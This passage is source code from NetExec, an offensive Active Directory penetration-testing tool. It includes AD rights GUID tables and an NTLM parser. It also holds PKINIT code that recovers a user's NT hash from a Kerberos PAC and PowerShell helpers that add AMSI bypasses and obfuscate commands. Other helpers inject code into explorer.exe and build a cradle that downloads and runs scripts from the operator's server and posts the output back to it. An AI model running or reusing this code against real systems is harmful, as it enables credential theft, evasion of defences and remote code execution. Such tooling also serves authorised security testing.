"9201ac6f-1d69-4dfb-802e-d95510109599": "ms-TS-Initial-Program", "bf967a8e-0de6-11d0-a285-00aa003049e2": "Device", "e5209ca2-3bba-11d2-90cc-00c04fd91ab1": "PKI-Certificate-Template", "5245801e-ca6a-11d0-afff-0000f80367c1": "FRS-Level-Limit", "ececcd20-a7e0-4688-9ccf-02ece5e287f5": "ms-DS-Members-For-Az-Role-BL", "c44f67a5-7de5-4a1f-92d9-662b57364b77": "ms-WMI-TargetObject", "e1aea404-cd5b-11d0-afff-0000f80367c1": "Query-Policy-BL", "40e1c407-4344-40f3-ab43-3625a34a63a2": "ms-TS-Endpoint-Data", "2a13257e-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference", "5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9": "ms-DS-NC-Type", "5006a79a-6bfe-4561-9f52-13cf4dd3e560": "ms-WMI-TargetPath", "e1aea403-cd5b-11d0-afff-0000f80367c1": "Query-Policy-Object", "377ade80-e2d8-46c5-9bcd-6d9dec93b35e": "ms-TS-Endpoint-Type", "8447f9f2-1027-11d0-a05f-00aa006c33ed": "Dfs-Configuration", "ee4aa692-3bba-11d2-90cc-00c04fd91ab1": "PKI-Enrollment-Service", "2a13257f-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference-BL", "cafcb1de-f23c-46b5-adf7-1e64957bd5db": "ms-DS-Non-Members", "ca2a281e-262b-4ff7-b419-bc123352a4e9": "ms-WMI-TargetType", "7bfdcb86-4807-11d1-a9c3-0000f80367c1": "QueryPoint", "3c08b569-801f-4158-b17b-e363d6ae696a": "ms-TS-Endpoint-Plugin", } EXTENDED_RIGHTS = { "ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server", "ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password", "00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password", "ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To", "c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password", "59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information", "4c164200-20c0-11d0-a768-00aa006e0529": "User-Account-Restrictions", "5f202010-79a5-11d0-9020-00c04fc2d4cf": "User-Logon", "bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Membership", "a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book", "e45795b2-9455-11d1-aebd-0000f80367c1": "Email-Information", "e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information", "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize", "1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology", "e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master", "d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master", "fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection", "0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy", "1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids", "bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC", "440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID", "014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master", "4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter", "4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter", "4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal", "4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal", "06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive", "06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek", "06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send", "06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal", "b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector", "edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy", "037088f8-0ae1-11d2-b422-00a0c968f939": "RAS-Information", "9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica", "cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master", "be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache", "62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance", "69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms", "0e10c968-78fb-11d2-90d4-00c04f79dc55": "Certificate-Enrollment", "bf9679c0-0de6-11d0-a285-00aa003049e2": "Self-Membership", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "Validated-DNS-Host-Name", "b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning", "9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache", "91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain", "b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging", "b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Domain-Other-Parameters", "e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", "ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History", "45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones", "2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script", "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology", "280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit", "ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password", "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": "Enable-Per-User-Reversibly-Encrypted-Password", "4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota", "91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information", "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": "Read-Only-Replication-Secret-Synchronization", "5805bc62-bdc9-4428-a5e2-856a0f4c185e": "Terminal-Server-License-Server", "1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate", "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", "7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect-Admin-Groups-Task", "7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features", "3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller", "d31a8757-2447-4545-8081-3bb610cacbf2": "Validated-MS-DS-Behavior-Version", "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "Validated-MS-DS-Additional-DNS-Host-Name", "a05b8cc2-17bc-4802-a710-e7c15ab866a2": "Certificate-AutoEnrollment", "4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner", "88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota", "084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets", "94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets", "9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer", "ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As", "ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As", "77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information", "e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information", "f3a64788-5306-11d1-a9c5-0000f80367c1": "Validated-SPN", "68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate", "ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess", } NetExec-1.5.1/nxc/helpers/ntlm_parser.py000066400000000000000000000026121514706431700202140ustar00rootroot00000000000000# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568 import struct from impacket import ntlm from impacket.smb3 import WIN_VERSIONS import contextlib def parse_challenge(challange): target_info = { "hostname": None, "domain": None, "os_version": None } challange = ntlm.NTLMAuthChallenge(challange) av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: with contextlib.suppress(Exception): target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le") if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None: with contextlib.suppress(Exception): target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le") if "Version" in challange.fields: version = challange["Version"] if len(version) >= 4: major_version = version[0] minor_version = version[1] product_build = struct.unpack(" keysize: output += currentDigest[:keysize - len(output)] break output += currentDigest currentNum += 1 return output for pa in as_rep["padata"]: if pa["padata-type"] == 17: pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native break else: raise Exception("PA_PK_AS_REP not found!") ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native sd = ci["content"] keyinfo = sd["encap_content_info"] if keyinfo["content_type"] != "1.3.6.1.5.2.3.2": raise Exception("Keyinfo content type unexpected value") authdata = KDCDHKeyInfo.load(keyinfo["content"]).native pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2) pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False) shared_key = self.diffie.exchange(pubkey) server_nonce = pkasrep["serverDHNonce"] fullKey = shared_key + self.diffie.dh_nonce + server_nonce etype = as_rep["enc-part"]["etype"] cipher = _enctype_table[etype] if etype == Enctype.AES256: t_key = truncate_key(fullKey, 32) elif etype == Enctype.AES128: t_key = truncate_key(fullKey, 16) elif etype == Enctype.RC4: raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES") key = Key(cipher.enctype, t_key) enc_data = as_rep["enc-part"]["cipher"] nxc_logger.info("AS-REP encryption key (you might need this later):") nxc_logger.info(hexlify(t_key).decode("utf-8")) dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[int(encasrep["key"]["keytype"])] session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"]) return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8") class GETPAC: def printPac(self, data, key=None): nthash = None encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[ 0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets()) buff = pacType["Buffers"] found = False for _bufferN in range(pacType["cBuffers"]): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}") if infoBuffer["ulType"] == 2: found = True credinfo = PAC_CREDENTIAL_INFO(data) newCipher = _enctype_table[credinfo["EncryptionType"]] out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) type1 = TypeSerialization1(out) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = out[len(type1) + 4:] pcc = PAC_CREDENTIAL_DATA(newdata) for cred in pcc["Credentials"]: credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) nxc_logger.info("Recovered NT Hash") nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") buff = buff[len(infoBuffer):] if not found: nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") return nthash def __init__(self, username, domain, kdcHost, key, tgt): self.__username = username self.__domain = domain.upper() self.__kdcHost = kdcHost self.__asrep_key = key self.__tgt = tgt["KDC_REP"] self.__cipher = tgt["cipher"] self.__sessionKey = tgt["sessionKey"] def dump(self): # Try all requested protocols until one works. tgt = self.__tgt cipher = self.__cipher sessionKey = self.__sessionKey decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT["ticket"]) apReq = AP_REQ() apReq["pvno"] = 5 apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq["ap-options"] = constants.encodeFlags(opts) seq_set(apReq, "ticket", ticket.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() clientName.from_asn1(decodedTGT, "crealm", "cname") seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) nxc_logger.debug("AUTHENTICATOR") nxc_logger.debug(authenticator.prettyPrint() + "\n") encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq["authenticator"] = noValue apReq["authenticator"]["etype"] = cipher.enctype apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq["pvno"] = 5 tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq["padata"] = noValue tgsReq["padata"][0] = noValue tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq["padata"][0]["padata-value"] = encodedApReq reqBody = seq_set(tgsReq, "req-body") opts = [] opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) reqBody["kdc-options"] = constants.encodeFlags(opts) serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, "sname", serverName.components_to_asn1) reqBody["realm"] = str(decodedTGT["crealm"]) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter(reqBody, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) nxc_logger.debug("Final TGS") nxc_logger.debug(tgsReq.prettyPrint()) message = encoder.encode(tgsReq) nxc_logger.info("Requesting ticket to self with PAC") r = sendReceive(message, self.__domain, self.__kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] nxc_logger.debug("TGS_REP") nxc_logger.debug(tgs.prettyPrint()) cipherText = tgs["ticket"]["enc-part"]["cipher"] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, cipherText) specialkey = Key(18, unhexlify(self.__asrep_key)) return self.printPac(plainText, specialkey) def pfx_auth(self): """Handles the authentication using a PFX or PEM file""" # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason dhparams = { "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), "g": 2 } self.logger.info("Loading certificate and key from file") # Load the certificate and key from file if self.args.pfx_cert or self.args.pfx_base64: pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) elif self.args.pem_cert and self.args.pem_key: ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams) else: self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") return None username = self.args.username[0] basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache" log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}")) # Request a TGT with the cert data req = ini.build_asreq(self.domain, username) self.logger.info("Requesting TGT") sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) try: res = sock.sendrecv(req) except Exception as e: self.logger.fail(str(e)) return False encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) ccache_minikerberos = CCACHE() ccache_minikerberos.add_tgt(res.native, encasrep) ccache_minikerberos.to_file(log_ccache) self.logger.info(f"Saved TGT to file {log_ccache}") self.logger.info(f"Using Kerberos Cache {log_ccache}") ccache = impacket_CCache.loadFile(log_ccache) principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt) nthash = dumper.dump() if not self.kerberos: self.hash_login(self.domain, username, nthash) else: self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) self.logger.info("Successfully authenticated using Certificate") return True NetExec-1.5.1/nxc/helpers/powershell.py000066400000000000000000000471331514706431700200610ustar00rootroot00000000000000import os import re from sys import exit from string import ascii_lowercase from random import choice, sample from subprocess import call from nxc.helpers.misc import which from nxc.logger import nxc_logger from nxc.paths import NXC_PATH, DATA_PATH from base64 import b64encode import random obfuscate_ps_scripts = False def replace_singles(s): """Replaces single quotes with a double quote We do this because quoting is very important in PowerShell, and we are doing multiple layers: Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer. Args: ---- s (str): The string to replace single quotes in. Returns: ------- str: Original string with single quotes replaced with double. """ return s.replace("'", r"\"") def get_ps_script(path): """Generates a full path to a PowerShell script given a relative path. Parameters ---------- path (str): The relative path to the PowerShell script. Returns ------- str: The full path to the PowerShell script. """ return os.path.join(DATA_PATH, path) def encode_ps_command(command): """ Encodes a PowerShell command into a base64-encoded string. Args: ---- command (str): The PowerShell command to encode. Returns: ------- str: The base64-encoded string representation of the encoded command. """ return b64encode(command.encode("UTF-16LE")).decode() def obfs_ps_script(path_to_script): """ Obfuscates a PowerShell script. Args: ---- path_to_script (str): The path to the PowerShell script. Returns: ------- str: The obfuscated PowerShell script. Raises: ------ FileNotFoundError: If the script file does not exist. OSError: If there is an error during obfuscation. """ ps_script = path_to_script.split("/")[-1] obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) if bool(which("powershell")) and obfuscate_ps_scripts: if os.path.exists(obfs_ps_script): nxc_logger.display("Using cached obfuscated Powershell script") with open(obfs_ps_script) as script: return script.read() nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...") invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'" nxc_logger.debug(invoke_obfs_command) with open(os.devnull, "w") as devnull: call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) nxc_logger.success("Script obfuscated successfully") with open(obfs_ps_script) as script: return script.read() else: with open(get_ps_script(path_to_script)) as script: """ Strip block comments, line comments, empty lines, verbose statements, and debug statements from a PowerShell source file. """ # strip block comments stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True): """ Generates a PowerShell command based on the provided `ps_command` parameter. Args: ---- ps_command (str): The PowerShell command to be executed. force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False. obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False. custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None. encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True. Returns: ------- str: The generated PowerShell command. """ nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}") if custom_amsi: nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}") with open(custom_amsi) as file_in: lines = list(file_in) amsi_bypass = "".join(lines) else: amsi_bypass = "" # for readability purposes, we do not do a one-liner if force_ps32: # noqa: SIM108 # https://stackoverflow.com/a/60155248 command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}" else: command = f"{amsi_bypass} {ps_command}" nxc_logger.debug(f"Generated PS command:\n {command}\n") if obfs: nxc_logger.debug("Obfuscating PowerShell command") obfs_attempts = 0 while True: nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}") obfs_command = invoke_obfuscation(command) command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"' if len(command) <= 8191: break if obfs_attempts == 4: nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...") obfs_attempts += 1 else: # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"' command = f"powershell.exe -noni -nop -w 1 {command}" if len(command) > 8191: nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) nxc_logger.debug(f"Final command: {command}") return command def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False): """ Generates a PowerShell code block for injecting a command into a specified process. Args: ---- command (str): The command to be injected. context (str, optional): The context in which the code block will be injected. Defaults to None. procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe". inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False. Returns: ------- str: The generated PowerShell code block. """ # The following code gives us some control over where and how Invoke-PSInject does its thang # It prioritizes injecting into a process of the active console session ps_code = """ $injected = $False $inject_once = {inject_once} $command = "{command}" $owners = @{{}} $console_login = gwmi win32_computersystem | select -exp Username gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{ if ($_.getowner().domain -and $_.getowner().user){{ $owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle }} }} try {{ if ($owners.ContainsKey($console_login)){{ Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command $injected = $True $owners.Remove($console_login) }} }} catch {{}} if (($injected -eq $False) -or ($inject_once -eq $False)){{ foreach ($owner in $owners.Values) {{ try {{ Invoke-PSInject -ProcId $owner -PoshCode $command }} catch {{}} }} }} """.format( inject_once="$True" if inject_once else "$False", command=encode_ps_command(command), procname=procname, ) if context: return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False) return ps_code def gen_ps_iex_cradle(context, scripts, command="", post_back=True): """ Generates a PowerShell IEX cradle script for executing one or more scripts. Args: ---- context (Context): The context object containing server and port information. scripts (str or list): The script(s) to be executed. command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string. post_back (bool, optional): Whether to send a POST request with the command. Defaults to True. Returns: ------- str: The generated PowerShell IEX cradle script. """ if isinstance(scripts, str): launcher = """ [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12' IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}') {command} """.format( server=context.server, port=context.server_port, addr=context.localip, ps_script_name=scripts, command=command if post_back is False else "", ).strip() elif isinstance(scripts, list): launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n" launcher.strip() launcher += command if post_back is False else "" if post_back is True: launcher += f""" $cmd = {command} $request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/') $request.Method = 'POST' $request.ContentType = 'application/x-www-form-urlencoded' $bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd) $request.ContentLength = $bytes.Length $requestStream = $request.GetRequestStream() $requestStream.Write($bytes, 0, $bytes.Length) $requestStream.Close() $request.GetResponse()""" nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n") return launcher.strip() # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py def invoke_obfuscation(script_string): """ Obfuscates a script string and generates an obfuscated payload for execution. Args: ---- script_string (str): The script string to obfuscate. Returns: ------- str: The obfuscated payload for execution. """ nxc_logger.debug(f"Command before obfuscation: {script_string}") random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase) random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)] # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))] # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. delimited_encoded_array = "" for char in script_string: delimited_encoded_array += str(ord(char)) + choice(random_delimiters) # Remove trailing delimiter from $DelimitedEncodedArray. delimited_encoded_array = delimited_encoded_array[:-1] # Create printable version of $RandomDelimiters in random order to be used by final command. test = sample(random_delimiters, len(random_delimiters)) random_delimiters_to_print = "".join(i for i in test) # Generate random case versions for necessary operations. for_each_object = choice(["ForEach", "ForEach-Object", "%"]) str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join") str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]") join = "".join(choice([i.upper(), i.lower()]) for i in "-Join") char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char") integer = "".join(choice([i.upper(), i.lower()]) for i in "Int") for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object) # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax random_delimiters_to_print_for_dash_split = "" for delim in random_delimiters: # Random case 'split' string. split = "".join(choice([i.upper(), i.lower()]) for i in "Split") random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "]) random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r") # Randomly select between various conversion syntax options. random_conversion_syntax = [ "[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_", "[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]", ] random_conversion_syntax = choice(random_conversion_syntax) # Create array syntax for encoded scriptString as alternative to .Split/-Split syntax. encoded_array = "" for char in script_string: encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "]) # Remove trailing comma from encoded_array encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")" # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. # If the OFS variable did exist then we could use even more syntax: # $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls # For more info: # https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables set_ofs_var_syntax = [ "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''", choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''", ] set_ofs_var = choice(set_ofs_var_syntax) set_ofs_var_back_syntax = [ "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", ] set_ofs_var_back = choice(set_ofs_var_back_syntax) # Randomize case of $SetOfsVar and $SetOfsVarBack. set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var) set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) # Generate the code that will decrypt and execute the payload and randomly select one. base_script_array = [ "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array, "(" + choice(["", " "]) + "'" + 